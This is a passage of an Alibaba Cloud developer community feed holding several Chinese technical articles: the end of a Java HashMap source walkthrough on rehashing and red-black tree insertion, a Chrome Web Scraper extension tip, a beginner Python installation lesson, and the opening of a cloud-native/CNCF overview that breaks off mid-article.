0.75吗?若为是则需增加容量。讲完这里,我们再来看看重哈希,在讲解为什么要进行重哈希之前,我们需要了解重哈希的概念:重新计算已存储在哈希桶数组中元素的哈希码的过程,当达到阈值时,将其移动到另外一个更大的哈希桶数组中。当存储到哈希桶数组中的元素超过了负载因子的限制时,此时将容量增加一倍并进行重哈希。那么为何要进行重哈希呢?因为容量增加一倍后,如若不处理已存在于哈希桶数组中键值对,那么将容量增加一倍则没有任何意义,同时呢,也是为了保持每一个存储桶中元素保持均匀分布,因为只有将元素均匀的分布到每一个存储桶中才能实现O(1)时间复杂度。接下来我们继续进行重哈希源码分析

        重哈希源码分析
        Node[] newTab = (Node[])new Node[newCap];

            table = newTab;
            if (oldTab != null) {
                for (int j = 0; j < oldCap; ++j) {
                    Node e;
                    if ((e = oldTab[j]) != null) {
                        oldTab[j] = null;
                        if (e.next == null)
                            newTab[e.hash & (newCap - 1)] = e;
                        else if (e instanceof TreeNode)
                            ((TreeNode)e).split(this, newTab, j, oldCap);
                        else { // preserve order
                            Node loHead = null, loTail = null;
                            Node hiHead = null, hiTail = null;
                            Node next;
                            do {
                                next = e.next;
                                if ((e.hash & oldCap) == 0) {
                                    if (loTail == null)
                                        loHead = e;
                                    else
                                        loTail.next = e;
                                    loTail = e;
                                }
                                else {
                                    if (hiTail == null)
                                        hiHead = e;
                                    else
                                        hiTail.next = e;
                                    hiTail = e;
                                }
                            } while ((e = next) != null);
                            if (loTail != null) {
                                loTail.next = null;
                                newTab[j] = loHead;
                            }
                            if (hiTail != null) {
                                hiTail.next = null;
                                newTab[j + oldCap] = hiHead;
                            }
                        }
                    }
                }
            }
            return newTab;
        }

        从整体上分析扩容后进行重哈希分为三种情况: ① 哈希桶数组元素为非链表即数组中只存在一个元素 ②哈希桶数组元素为红黑树进行转换 ③哈希桶数组元素为链表。关于①②情况就不用我再叙述,我们接下来重点看看对链表的优化处理。也就是如下这一段代码:

                            Node loHead = null, loTail = null;
                            Node hiHead = null, hiTail = null;
                            Node next;
                            do {
                                next = e.next;
                                if ((e.hash & oldCap) == 0) {
                                    if (loTail == null)
                                        loHead = e;
                                    else
                                        loTail.next = e;
                                    loTail = e;
                                }
                                else {
                                    if (hiTail == null)
                                        hiHead = e;
                                    else
                                        hiTail.next = e;
                                    hiTail = e;
                                }
                            } while ((e = next) != null);
                            if (loTail != null) {
                                loTail.next = null;
                                newTab[j] = loHead;
                            }
                            if (hiTail != null) {
                                hiTail.next = null;
                                newTab[j + oldCap] = hiHead;
                            }

        看到上述代码我们不禁疑惑为貌似声明了两个链表,一个低位链表(lower),一个高位链表(high),我们暂且不是很理解哈,接下来我们进入 do {} while () 循环,然后重点来了这么一句 e.hash & oldCap == 0 ,这是干啥玩意,根据此行代码来分别进入到低位链表和高位链表。好了,我们通过一例子就很好理解了:假设按照默认初始化容量为16,然后我们插入一个为21的元素,根据我们上面的叙述,首先计算出哈希值,然后计算出索引位置,为了便于很直观的理解,我们还是一步步来计算下。

        static final int hash(21) {

            int h;
            return (21 == null) ? 0 : (h = 21.hashCode()) ^ (h >>> 16);

        }
        调用如上hash方法计算出键21的值仍为21,接下来通过如下按与运算计算出存储到哈希桶数组中的索引位置。

        i = (16 - 1) & 21
        最终我们计算其索引位置即i等于5,因为初始化容量为16,此时阈值为12,当插入第13个元素开始进行扩容,容量变为32,此时若再次按照上述方式计算索引存储位置为 i = (32 - 1) & 21 ,结果为21。从这里我们得出结论:当容量为16时,插入元素21的索引位置为5,而扩容后容量为32,此时插入元素21的索引位置为21,也就是说【扩容后的新的索引 = 原有索引 + 原有容量】。同理,若插入元素为5,容量为16,那么索引位置为5,若扩容后容量为32,索引位置同样也为5,也就是说【扩容后的索引 = 原有索引】。因为容量始终为原有容量的2倍(比如16到32即从0000 0000 0000 0000 0000 0000 0001 0000 =》0000 0000 0000 0000 0000 0000 0010 0000)从按位考虑则是高位由0变为1,也就是说我们通过计算出元素的哈希值与原有容量按位与运算,若结果等于0,则扩容后索引等于原索引,否则等于原有索引加上原有容量,也就是通过哈希值与原容量按位与运算即 e.hash & oldCap == 0 来判断新索引位置是否发生了改变,说的更加通俗易懂一点,比如(5 & 16 = 0),那么元素5扩容后的索引位置为【新索引 = 原索引 + 0】,同理比如(21 & 16 = 16),那么元素21的扩容后的索引位置为【新索引 = 原索引 + 16】。由于容量始终为2次幂,如此而节省了之前版本而重新计算哈希的时间从而达到优化。到这里,我们可以进一步总结出容量始终为2次幂的意义:①哈希桶数组索引存储采取按位运算而非取模运算,因其效率比取模运算更高 ②优化重新计算哈希而节省时间。最终将索引不变链表即低位链表和索引改变链表即高位链表分别放入扩容后新的哈希桶数组中,最终重新哈希过程到此结束。接下来我们分析将元素如何放入到红黑树中的呢?

        将值插入红黑树保持树平衡

                // 步骤【4】:若为红黑树    
                else if (p instanceof TreeNode)
                    e = ((TreeNode)p).putTreeVal(this, tab, hash, key, value);

        然后我们看看上述将值放入到红黑树中具体方法实现,如下:

            final TreeNode putTreeVal(HashMap map, Node[] tab,
                                           int h, K k, V v) {
                Class kc = null;
                boolean searched = false;
                TreeNode root = (parent != null) ? root() : this;
                for (TreeNode p = root;;) {
                    int dir, ph; K pk;
                    if ((ph = p.hash) > h)
                        dir = -1;
                    else if (ph < h)
                        dir = 1;
                    else if ((pk = p.key) == k || (k != null && k.equals(pk)))
                        return p;
                    else if ((kc == null &&
                              (kc = comparableClassFor(k)) == null) ||
                             (dir = compareComparables(kc, k, pk)) == 0) {
                        if (!searched) {
                            TreeNode q, ch;
                            searched = true;
                            if (((ch = p.left) != null &&
                                 (q = ch.find(h, k, kc)) != null) ||
                                ((ch = p.right) != null &&
                                 (q = ch.find(h, k, kc)) != null))
                                return q;
                        }
                        dir = tieBreakOrder(k, pk);
                    }
        
                    TreeNode xp = p;
                    if ((p = (dir <= 0) ? p.left : p.right) == null) {
                        Node xpn = xp.next;
                        TreeNode x = map.newTreeNode(h, k, v, xpn);
                        if (dir <= 0)
                            xp.left = x;
                        else
                            xp.right = x;
                        xp.next = x;
                        x.parent = x.prev = xp;
                        if (xpn != null)
                            ((TreeNode)xpn).prev = x;
                        moveRootToFront(tab, balanceInsertion(root, x));
                        return null;
                    }
                }
            }

        我们需要思考的是:(1)待插入元素在红黑树中的具体位置是在哪里呢?(2)找到插入具体位置后,然后需要知道的到底是左边还是右边呢?。我们按照正常思路理解的话还是非常容易想明白,我们从根节点开始遍历树,通过每一个节点的哈希值与待插入节点哈希值比较,若待插入元素位于其父节点的左边,则看父节点的左边是否已存在元素,如果不存在则将其父节点的左边节点留给待插入节点,同理对于父节点的右边也是如此,但是如果父节点的左边和右边都有其引用,那么就继续遍历,直到找到待插入节点的具体位置。这就是我们在写代码或进行代码测试时的一般思路,但是我们还要考虑边界问题,否则说明考虑不完全,针对待插入元素插入到红黑树中的边界问题是什么呢?当遍历的节点和待插入节点的哈希值相等,那么此时我们应该确定元素的顺序来保持树的平衡呢?也就是上述中的如下代码:

                    else if ((kc == null &&
                              (kc = comparableClassFor(k)) == null) ||
                             (dir = compareComparables(kc, k, pk)) == 0) {
                        if (!searched) {
                            TreeNode q, ch;
                            searched = true;
                            if (((ch = p.left) != null &&
                                 (q = ch.find(h, k, kc)) != null) ||
                                ((ch = p.right) != null &&
                                 (q = ch.find(h, k, kc)) != null))
                                return q;
                        }
                        dir = tieBreakOrder(k, pk);
                    }

        为了解决将元素插入到红黑树中,如何确定元素顺序的问题。通过两种方案来解决:①实现Comprable接口 ②突破僵局机制。接下来我们来看实现Comprable例子,如下:

        public class PersonComparable implements Comparable {
        int age;
        
        public PersonComparable(int age) {
            this.age = age;
        }
        
        @Override
        public boolean equals(Object obj) {
            if (this == obj) {
                return true;
            }
        
            if (obj instanceof PersonComparable) {
                PersonComparable p = (PersonComparable) obj;
                return (this.age == p.age);
            }
        
            return false;
        }
        
        @Override
        public int hashCode() {
            return 42;
        }
        
        @Override
        public int compareTo(PersonComparable o) {
            return this.age - o.age;
        }

        }
        然后我们在控制台中,调用如下代码进行测试:

            HashMap hashMap = new HashMap();
        
            Person p1 = new Person(1);
            Person p2 = new Person(2);
            Person p3 = new Person(3);
            Person p4 = new Person(4);
            Person p5 = new Person(5);
            Person p6 = new Person(6);
            Person p7 = new Person(7);
            Person p8 = new Person(8);
            Person p9 = new Person(9);
            Person p10 = new Person(10);
            Person p11 = new Person(11);
            Person p12 = new Person(12);
            Person p13 = new Person(13);
        
            hashMap.put(p1, "1");
            hashMap.put(p2, "2");
            hashMap.put(p3, "3");
            hashMap.put(p4, "4");
            hashMap.put(p5, "5");
            hashMap.put(p6, "6");
            hashMap.put(p7, "7");
            hashMap.put(p8, "8");
            hashMap.put(p9, "9");
            hashMap.put(p10, "10");
            hashMap.put(p11, "11");
            hashMap.put(p12, "12");
            hashMap.put(p13, "13");

        反观上述代码,我们实现了Comprable接口并且直接重写了hashcode为常量值,此时将产生冲突,插入到HashMap中每一个元素的哈希值都相等即索引位置一样,也就是最终将由链表转换为红黑树,既然哈希值一样,那么我们如何确定其顺序呢?,此时我们回到上述 comparableClassFor 方法和 compareComparables 方法(二者具体实现就不一一解释了)

        // 若实现Comparable接口返回其具体实现类型,否则返回空
        static Class comparableClassFor(Object x) {

            if (x instanceof Comparable) {
                Class c; Type[] ts, as; Type t; ParameterizedType p;
                if ((c = x.getClass()) == String.class) // bypass checks
                    return c;
                if ((ts = c.getGenericInterfaces()) != null) {
                    for (int i = 0; i < ts.length; ++i) {
                        if (((t = ts[i]) instanceof ParameterizedType) &&
                            ((p = (ParameterizedType)t).getRawType() ==
                             Comparable.class) &&
                            (as = p.getActualTypeArguments()) != null &&
                            as.length == 1 && as[0] == c) // type arg is c
                            return c;
                    }
                }
            }
            return null;
        }

        //调用自定义实现Comprable接口比较器,从而确定顺序
        static int compareComparables(Class kc, Object k, Object x) {

            return (x == null || x.getClass() != kc ? 0 :
                    ((Comparable)k).compareTo(x));
        }

        但是要是上述我们实现的Person类没有实现Comprable接口,此时将使用突破僵局机制(我猜测作者对此方法的命名是否是来自于维基百科《https://en.wikipedia.org/wiki/Tiebreaker》,比较贴切【突破僵局制(英语:tiebreaker),是一种延长赛的制度,主要用于棒球与垒球运动,特别是采淘汰制的季后赛及国际赛,以避免比赛时间过久仍无法分出胜负。】),也就是对应如下代码:

        dir = tieBreakOrder(k, pk);

           static int tieBreakOrder(Object a, Object b) {
                int d;
                if (a == null || b == null ||
                    (d = a.getClass().getName().
                     compareTo(b.getClass().getName())) == 0)
                    d = (System.identityHashCode(a) <= System.identityHashCode(b) ?
                         -1 : 1);
                return d;
            }

        因为哈希值相等,同时也没有实现Comparable接口,但是我们又不得不解决这样实际存在的问题,可以说是最终采取“迫不得已“的解决方案,通过调用上述 System.identityHashCode 来获取对象唯一且恒定的哈希值从而确定顺序。好了,那么问题来了对于实现Comparable接口的键插入到树中和未实现接口的键插入到树中,二者有何区别呢?如果键实现Comparable接口,查找指定元素将会使用树特性快速查找,如果键未实现Comparable接口,查找到指定元素将会使用遍历树方式查找。问题又来了,既然通过实现Comparable接口的比较器来确定顺序,那为何不直接使用突破僵局机制来作为比较器?我们来看看那如下例子:

        Person person1 = new Person(1);
        Person person2 = new Person(1);
        System.out.println(System.identityHashCode(person1) == System.identityHashCode(person2));

        到这里我们知道,即使是两个相同的对象实例其identityHashCode都是不同的,所以不能使用identityHashCode作为比较器。问题又来了,既然使用identityHashCode确定元素顺序,当查找元素时是采用遍历树的方式,完全没有利用到树的特性,那么为何还要构造树呢?因为HashMap能够包含不同对象实例的键,有些可能实现了Comparable接口,有些可能未实现。我们来看如下混合不同类例子:

        public class Person {

        int age;
        
        public Person(int age) {
            this.age = age;
        }
        
        @Override
        public boolean equals(Object obj) {
            if (this == obj) {
                return true;
            }
        
            if (obj instanceof Person) {
                Person p = (Person) obj;
                return (this.age == p.age);
            }
        
            return false;
        }
        
        @Override
        public int hashCode() {
            return 42;
        }

        }

            HashMap hashMap = new HashMap();
        
            PersonComparable  p1 = new PersonComparable (1);
            PersonComparable  p2 = new PersonComparable (2);
            PersonComparable  p3 = new PersonComparable (3);
            PersonComparable  p4 = new PersonComparable (4);
            PersonComparable  p5 = new PersonComparable (5);
            PersonComparable  p6 = new PersonComparable (6);
        
            Person p7 = new Person(7);
            Person p8 = new Person(8);
            Person p9 = new Person(9);
            Person p10 = new Person(10);
            Person p11 = new Person(11);
            Person p12 = new Person(12);
            Person p13 = new Person(13);
        
            hashMap.put(p1, "1");
            hashMap.put(p2, "2");
            hashMap.put(p3, "3");
            hashMap.put(p4, "4");
            hashMap.put(p5, "5");
            hashMap.put(p6, "6");
            hashMap.put(p7, "7");
            hashMap.put(p8, "8");
            hashMap.put(p9, "9");
            hashMap.put(p10, "10");
            hashMap.put(p11, "11");
            hashMap.put(p12, "12");
            hashMap.put(p13, "13");
        

        当使用混合模式时即实现了Comparable接口和未实现Comparable接口的对象实例可以基于类名来比较键。

        总结
        本节我们详细讲解了HashMap实现原理细节,一些比较简单的地方就没有再一一分析,文中若有叙述不当或理解错误之处,还望指正,感谢您的阅读

        ]]>
        推荐一个网页抓取小工具Web Scraper-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 想分享的这款工具是个Chrome下的插件,叫:Web Scraper,是一款可以从网页中提取数据的Chrome网页数据提取插件。在某种意义上,你也可以把它当做一个爬虫工具。

        第一步 创建Sitemap

        打开Chrome浏览器,按F12调出开发者工具,Web Scraper在最后一个页签,点击后,再选择“Create Sitemap”菜单,点击“Create Sitemap”选项。

        推荐一个网页抓取小工具Web Scraper

        首先输入你想抓取的网站URL,以及你自定义的这条抓取任务的名字,比如我取的name是:xiniulevel,URL是:http://www.xiniudata.com/industry/level

        第二步 创建抓取节点

        我想抓取的是一级标签和二级标签,所以先点进去刚才创建的Sitemap,再点击“Add new selector”,进入抓取节点选择器配置页,在页面上点击“Select”按钮,这时你会看到出现了一个浮层

        推荐一个网页抓取小工具Web Scraper

        这时当你鼠标移入网页时,会自动把某个你鼠标悬停的位置绿色高亮。这时你可以先单击一个你想选择的区块,会发现区块变成了红色,想把同一层级的区块全选中,则可以继续点击相邻的下一个区块,这时工具会默认选中所有同级的区块,如下图:

        推荐一个网页抓取小工具Web Scraper

        我们会发现下方悬浮窗的文本输入框自动填充了区块的XPATH路径,接着点击“Done selecting!”结束选择,悬浮框消失,选中的XPATH自动填充到下方Selector一行。另外务必选中“Multiple”,以声明你要选多个区块。最后点击Save selector按钮结束。

        推荐一个网页抓取小工具Web Scraper

        第三步 获取元素值

        完成Selector的创建后,回到上一页,你会发现多了一行Selector表格,接下来就可以直接点击Action中的Data preview,查看所有想获取的元素值。

        推荐一个网页抓取小工具Web Scraper

        推荐一个网页抓取小工具Web Scraper

        上图所示部分,是我已经添加了一级标签和二级标签两个Selector的情况,点击Data preview的弹窗内容其实就是我想要的,直接复制到EXCEL就行了,也不用什么太复杂的自动化爬取处理。

        以上就是对Web Scraper使用过程的简单介绍。当然我的用法还不是完全高效,因为每次想获取二级标签时还要先手动切换一级标签,再执行抓取指令,应该还有更好的做法,不过对我而言已经足够了。这篇文章主要是想和你普及下这款工具,不算教程,更多功能还是要根据你的需求自行摸索~

        ]]>
        python简介及环境搭建 | python从入门到精通之三-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 第二节:开发前的准备

        第二章 python简介及环境搭建

        完成了前面python开发前的准备,从这节课开始我们将会为大家介绍python语言是怎么编程的。

        2.1计算机语言简介

        之前的章节内容里面为大家介绍过,计算机就是一台用来计算的机器,执行人类发出的指令。但是人有人言,兽有兽语,我们需要通过计算机的语言来控制计算机。也就是编程语言。
        但是同学们千万不要觉得编程语言是多么高大上的东西,其实计算机语言和人类的语言没有本质的区别,不同点就是交流的主体不同!
        追本溯源,我们先来看一下,计算机语言的发展。
        计算机语言发展经历了三个阶段:
        机器语言
        机器语言是最早的语言,它是通过二进制编码来编写程序的。上节课说过二进制是计算机底层使用的进制,所以机器语言的执行效率比较高,但是缺点就是我们编写起来太麻烦。它方便了机器识别,却不方便我们人类识别。
        符号语言(汇编)
        汇编语言比机器语言又高级了一点,它是使用符号来代替机器码。编写程序时,不需要使用二进制,而是直接编写符号,编写完成后,需要将符号转换为机器码,然后再由计算机执行。符号转换为机器码的过程称为汇编,将机器码转换为符号的过程,称为反汇编。
        汇编语言一般只适用于某些硬件,在写硬件驱动的时候是非常好用的,但是对于别的地方来说它代码的兼容性就比较差,换个硬件就要重新写一套代码。
        高级语言
        目前通用的高级语言的语法基本和现在英语语法类似,并且和硬件的关系没有那么紧密了,也就是说我们通过高级语言开发程序可以在不同的硬件系统中执行。并且高级语言学习起来也更加的容易,现在我们知道的语言基本都是高级语言,比如:C、C++、C#、Java、JavaScript、Python等等 。
        练习1:对比查看这些高级语言之间的区别。

        2.2编译型语言和解释性语言

        由于计算机只能识别二进制编码(机器码),所以任何的语言在交由计算机执行时必须要先转换为机器码,也就是像 print('hello') 必须要转换为类似 1010101 这样的机器码计算机才可以识别并执行出结果。
        根据转换时机的不同,语言分成了两大类:
        1.编译型语言
        编译型语言,会在代码执行前将代码编译为机器码,然后将机器码交由计算机执行,最典型的就是C语言。

        a(源码) --编译--> b(编译后的机器码)

        特点:

        • 执行速度特别快
        • 跨平台性比较差

        2.解释型语言
        解释型语言,不会在执行前对代码进行编译,而是在执行的同时一边执行一边编译,比如:Python JS Java都是解释性语言。

        a(源码)--解释器--> 解释执行

        特点:

        • 执行速度比较慢
        • 跨平台性比较好

        如果现在理解不了这两种语言的区别,先不用着急,暂时有一个概念即可,随着后续深入的学习,将会对这些知识点有一个更加深刻的体会。

        2.3Python简介

        首先明白Python是一种解释型语言,它也是一边编译一边执行的。
        Python(英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/),是一种广泛使用的高级编程语言,属于通用型编程语言,由吉多·范罗苏姆创造,第一版发布于1991年。可以视之为一种改良(加入一些其他编程语言的优点,如面向对象)的LISP。作为一种解释型语言,Python的设计哲学强调代码的可读性和简洁的语法(尤其是使用空格缩进划分代码块,而非使用大括号或者关键词)。相比于C++或Java,Python让开发者能够用更少的代码表达想法。不管是小型还是大型程序,该语言都试图让程序的结构清晰明了。
        Python流传着一句名言:Life is short you need Python (人生苦短,我用Python),很形象的表达了这个特点。
        Python的用途

        • WEB应用:比如:Facebook、豆瓣等
        • 爬虫程序
        • 科学计算
        • 自动化运维
        • 大数据(数据清洗)
        • 云计算
        • 桌面软件/游戏
        • 人工智能
        • ...

        2.4Python开发环境搭建

        开发环境搭建就是安装Python的解释器。
        首先来了解一下Python的解释器分类:
        CPython(官方):用c语言编写的Python解释器,也是我们要用的。
        PyPy:用Python语言编写的Python解释器
        IronPython:用.net编写的Python解释器
        Jython:用Java编写的Python解释器
        我们讲课用到就是CPython,先来进行软件的安装。
        安装步骤:
        1.下载安装包 python-3.6.5.exe

        • 3.x
        • 2.x

        官网有两个版本,目前常用的是2的版本,但是根据以后的发展趋势来看的话,3将会逐渐取代2,所以咱们还是来以3为基础进行授课。
        在浏览器地址栏搜索python.org
        image.png
        进入找到版本,点击下载。
        image.png
        目前版本是3.8.0,如果要下载老师的版本,在所有发行版本里面找。
        image.png
        往下翻,找到该版本的可执行安装程序。点击下载即可。
        image.png
        2.安装(傻瓜式安装)
        双击下载的安装包,选择自定义安装
        image.png
        直接点击Next;
        image.png
        勾选Add Path,就将Python自动加到环境变量里面了。再选择一个自己可以找到的位置:
        image.png
        点击INstall即可,稍微等一分钟
        image.png
        3.打开命令行窗口,输入python 出现如下内容
        image.png
        表明python安装成功了。运行一个简单的python命令:输出“hello”。
        image.png
        其实这时候系统已经在环境变量里面自动配置了:
        image.png
        自己可点击查看。如果运行python程序出问题了,可在这里查看路径。

        2.5Python的交互界面

        当我们通过命令行来输入Python,所进入到的界面就是Python的交互界面
        结构:
        版本和版权声明:
        Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 16:07:46) [MSC v.1900 32 bit (Intel)] on win32
        Type "help", "copyright", "credits" or "license" for more information.
        命令提示符:

        >>>

        在命令提示符后可以直接输入Python的指令!输入完的指令将会被Python的解释器立即执行!
        安装Python的同时,会自动安装一个Python的开发工具IDLE,通过IDLE也可以进入到交互模式。

        image.png

        点开这个IDLE你会看到如下界面,可以发现它跟交互模式是一样的,但是不同的是,在IDLE中可以通过TAB键来查看语句的提示
        image.png
        image.png
        IDLE实际上就是一个交互界面,但是他可以有一些简单的提示,并且可以将代码保存,但是它会将页面上所有的代码进行一个保存,所以这个功能并不是实用的。而且交互模式下只能你输入一行代码,它就执行一行,所以他并不适用于我们日常的开发!仅可以用来做一些日常的简单的测试!
        image.png
        我们一般会将Python代码编写到一个py文件中,然后通过python指令来执行文件中的代码。下面演示在记事本中编写代码。
        image.png
        image.png
        但是在实际编程的时候是不建议使用记事本的,下面来演示一下怎么建立一个Python程序。首先在桌面新建一个文本文档,但是将文件扩展名改为.py。
        image.png
        右键选择sublime Text;
        image.png
        image.png
        此时可以在命令窗口直接运行。
        image.png
        第三种方式是在IDLE运行,先打开IDLE,新建一个“New File”
        image.png
        然后将此文件Ctrl+S保存,选择位置和文件名即可,在里面输入代码即可。
        image.png
        保存之后在该界面直接按下F5(或者Fn+F5)键,就可以运行代码了。
        image.png
        练习:
        自己尝试创建一个py文件,并向文件中写入python打印语句(print...),然后执行该文件。
        如果你的系统的扩展名无法修改,随便打开一个文件,点击“查看”,将“文件扩展名”前面勾选上,再去修改文件扩展名
        image.png

        第四节:Python语法学习

        视频学习:阿里云大学之Python进阶必看

        配套Python进阶文章点击此处获取

        ]]>
        CNCF中国大使张磊:什么是云原生?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者|张磊 阿里云容器平台高级技术专家,CNCF 官方大使


        编者说:


        从 2015 年 Google 牵头成立 CNCF 以来,云原生技术开始进入公众的视线并取得快速的发展,到 2018 年包括 Google、AWS、Azure、Alibaba Cloud 等大型云计算供应商都加入了云原生基金会 CNCF,云原生技术也从原来的应用容器化发展出包括容器、Service Mesh、微服务、不可变基础设施、Serverless、FaaS 等众多技术方向,CFCF 旗下也囊括了越来多的开源项目。

        Kubernetes 作为 CNCF 的第一个项目从诞生之初就就令人瞩目,Kubernetes 由 Google 工程师基于 Google 内部多年集群管理系统 Borg 的设计经验,结合云计算时代的基础设施特点重新设计而得,旨在帮助企业解决大规模 IT 基础设施的应用容器编排难题。Google 在 2014 年 6 月开源 Kubernetes 以后,在 Redhat、Microsoft、Alibaba 等厂商和众多开源爱好者共同的努力下,成长为如今容器编排领域的事实标准,极大的推动了云原生领域的发展。


        在系统介绍什么是云原生,云原生对开发者来说意味着什么,我们先从云原生技术发展简史开始讲起。

        云原生技术发展简史

        image.png

        • 2004 年— 2007 年,Google 已在内部大规模地使用像 Cgroups 这样的容器技术;
        • 2008 年,Google 将 Cgroups 合并进入了 Linux 内核主干;
        • 2013 年,Docker 项目正式发布。
        • 2014 年,Kubernetes 项目也正式发布。这样的原因也非常容易理解,因为有了容器和 Docker 之后,就需要有一种方式去帮助大家方便、快速、优雅地管理这些容器,这就是 Kubernetes 项目的初衷。在 Google 和 Redhat 发布了 Kubernetes 之后,这个项目的发展速度非常之快。
        • 2015 年,由Google、Redhat 以及微软等大型云计算厂商以及一些开源公司共同牵头成立了 CNCF 云原生基金会。CNCF 成立之初,就有 22 个创始会员,而且 Kubernetes 也成为了 CNCF 托管的第一个开源项目。在这之后,CNCF 的发展速度非常迅猛;
        • 2017 年,CNCF 达到 170 个成员和 14 个基金项目;
        • 2018 年,CNCF 成立三周年有了 195 个成员,19 个基金会项目和 11 个孵化项目,如此之快的发展速度在整个云计算领域都是非常罕见的。

        云原生技术生态现状


        因此,如今我们所讨论的云原生技术生态是一个庞大的技术集合。CNCF 有一张云原生全景图(https://github.com/cncf/landscape),在这个全景图里已经有 200 多个项目和产品了,这些项目和产品也都是和 CNCF 的观点所契合的。


        CNCF landscape.png
        所以,如果以这张全景图作为背景,加以思考就会发现,我们今天所讨论的云原生其实主要谈论了以下几点:

        1. 云原生基金会 —— CNCF;

        CNCF (云原生基金会)是目前云计算领域最成功的
        开源基金会之一,是 Kubernetes,containerd,etcd
        ,Envoy 等知名开源项目的托管基金会

        1. 云原生技术社区

        CNCF 目前托管的 20 + 正式项目共同构成了现代云
        计算生态的基石。其中 Kubernetes 项目是全世界第
        四活跃的开源项目

        1. 云原生技术产业

        除了前面两点之外,现在全球各大公有云厂商都已经支持了 Kubernetes。此外,还有 100 多家技术创业公司也在持续地进行投入,总体市场于2021年逼近 1000 亿美元。现在阿里巴巴也在全面上云,而且上云就要上云原生,这也是各大技术公司拥抱云原生的一个例子。

        我们正处于时代的关键节点

        image.png
        2019 年正是云原生时代的关键节点,为什么这么说?我们这里就为大家简单梳理一下。
         
        从 2013 年 Docker 项目发布开始说起,Docker 项目的发布使得全操作系统语义的沙盒技术唾手可得,使得用户能够更好地、更完整地打包自己的应用,使得开发者可以轻而易举的获得了一个应用的最小可运行单位,而不需要依赖任何 PaaS 能力。这对经典 PaaS 产业其实是一个“降维打击”。
         
        2014 年的时候,Kubernetes 项目发布,其意义在于 Google 将内部的 Borg/Omega 系统思想借助开源社区实现了“重生”,并且提出了“容器设计模式”的思想。而 Google 之所以选择间接开源 Kubernetes 而不是直接开源 Borg 项目,其实背后的原因也比较容易理解:Borg/Omega 这样的系统太复杂了,是没办法提供给 Google 之外的人使用,但是 Borg/Omega 这样的设计思想却可以借助 Kubernetes 让大家接触到,这也是开源 Kubernetes 的重要背景。
         
        这样到了 2015 年到 2016 年,就到了容器编排“三国争霸”的时代,当时 Docker、Swarm、Mesos、Kubernetes 都在容器编排领域展开角逐,他们竞争的原因其实也比较容易理解, 那就是 Docker 或者容器本身的价值虽然大,但是如果想要让其产生商业价值或者说对云的价值,那么就一定需要在编排上面占据一个有利的位置。
         
        Swarm 和 Mesos 的特点,那就是各自只在生态和技术方面比较强,其中,Swarm 更偏向于生态,而 Mesos 技术更强一些。相比之下, Kubernetes 则兼具了两者优势,最终在 2017 年“三国争霸”的局面中得以胜出,成为了当时直到现在的容器编排标准。这一过程的代表性事件就是 Docker 公司宣布在核心产品中内置了 Kubernetes 服务,并且 Swarm 项目逐渐停止维护。
         
        到了 2018 年的时候,云原生技术理念开始逐渐萌芽,这是因为此时 Kubernetes 以及容器都成为了云厂商的既定标准,以“云”为核心的软件研发思想逐步形成。
         
        而到了 2019 年,情况似乎又将发生一些变化。
        image.png


        什么是“云原生”?云原生该怎么落地?

        云原生的定义

        image.png
        很多人都会问“到底什么是云原生?”
         
        实际上,云原生是一条最佳路径或者最佳实践。更详细的说,云原生为用户指定了一条低心智负担的、敏捷的、能够以可扩展、可复制的方式最大化地利用云的能力、发挥云的价值的最佳路径。
         
        因此,云原生其实是一套指导进行软件架构设计的思想。按照这样的思想而设计出来的软件:首先,天然就“生在云上,长在云上”;其次,能够最大化地发挥云的能力,使得我们开发的软件和“云”能够天然地集成在一起,发挥出“云”的最大价值。
         
        所以,云原生的最大价值和愿景,就是认为未来的软件,会从诞生起就生长在云上,并且遵循一种新的软件开发、发布和运维模式,从而使得软件能够最大化地发挥云的能力。说到了这里,大家可以思考一下为什么容器技术具有革命性?


        其实,容器技术和集装箱技术的革命性非常类似,即:容器技术使得应用具有了一种“自包含”的定义方式。所以,这样的应用才能以敏捷的、以可扩展可复制的方式发布在云上,发挥出云的能力。这也就是容器技术对云发挥出的革命性影响所在,所以说,容器技术正是云原生技术的核心底盘。

        云原生的技术范畴

        image.png


        云原生的技术范畴包括了以下几个方面:

        • 第一部分是云应用定义与开发流程。这包括应用定义与镜像制作、配置 CI/CD、消息和 Streaming 以及数据库等。
        • 第二部分是云应用的编排与管理流程。这也是 Kubernetes 比较关注的一部分,包括了应用编排与调度、服务发现治理、远程调用、API 网关以及 Service Mesh。
        • 第三部分是监控与可观测性。这部分所强调的是云上应用如何进行监控、日志收集、Tracing 以及在云上如何实现破坏性测试,也就是混沌工程的概念。
        • 第四部分就是云原生的底层技术,比如容器运行时、云原生存储技术、云原生网络技术等。
        • 第五部分是云原生工具集,在前面的这些核心技术点之上,还有很多配套的生态或者周边的工具需要使用,比如流程自动化与配置管理、容器镜像仓库、云原生安全技术以及云端密码管理等。
        • 最后则是 Serverless。Serverless 是一种 PaaS 的特殊形态,它定义了一种更为“极端抽象”的应用编写方式,包含了 FaaS 和 BaaS 这样的概念。而无论是 FaaS 还是 BaaS,其最为典型的特点就是按实际使用计费(Pay as you go),因此 Serverless 计费也是重要的知识和概念。


        云原生思想的两个理论

        image.png


        在了解完云原生的技术范畴之后你就会发现,其所包含的技术内容还是很多的,但是这些内容的技术本质却是类似的。云原生技术的本质是两个理论基础。

        • 第一个理论基础是:不可变基础设施。这一点目前是通过容器镜像来实现的,其含义就是应用的基础设施应该是不可变的,是一个自包含、自描述可以完全在不同环境中迁移的东西;
        • 第二个理论基础就是:云应用编排理论。当前的实现方式就是 Google 所提出来的“容器设计模式”,这也是 Kubernetes 部分文章中所需主要讲述的内容。


        基础设施向云演进的过程

        image.png
        首先为大家介绍一下“不可变基础设施”的概念。其实,应用所依赖的基础设施也在经历一个向云演进的过程,举例而言,对于传统的应用基础设施而言,其实往往是可变的。


        大家可能经常会干这样一件事情,比如需要发布或者更新一个软件,那么流程大致是这样的,先通过 SSH 连到服务器,然后手动升级或者降级软件包,逐个调整服务器上的配置文件,并且将新代码直接都部署到现有服务器上。因此,这套基础设施会不断地被调整和修改。
         
        但是在云上,对“云”友好的应用基础设施是不可变的。


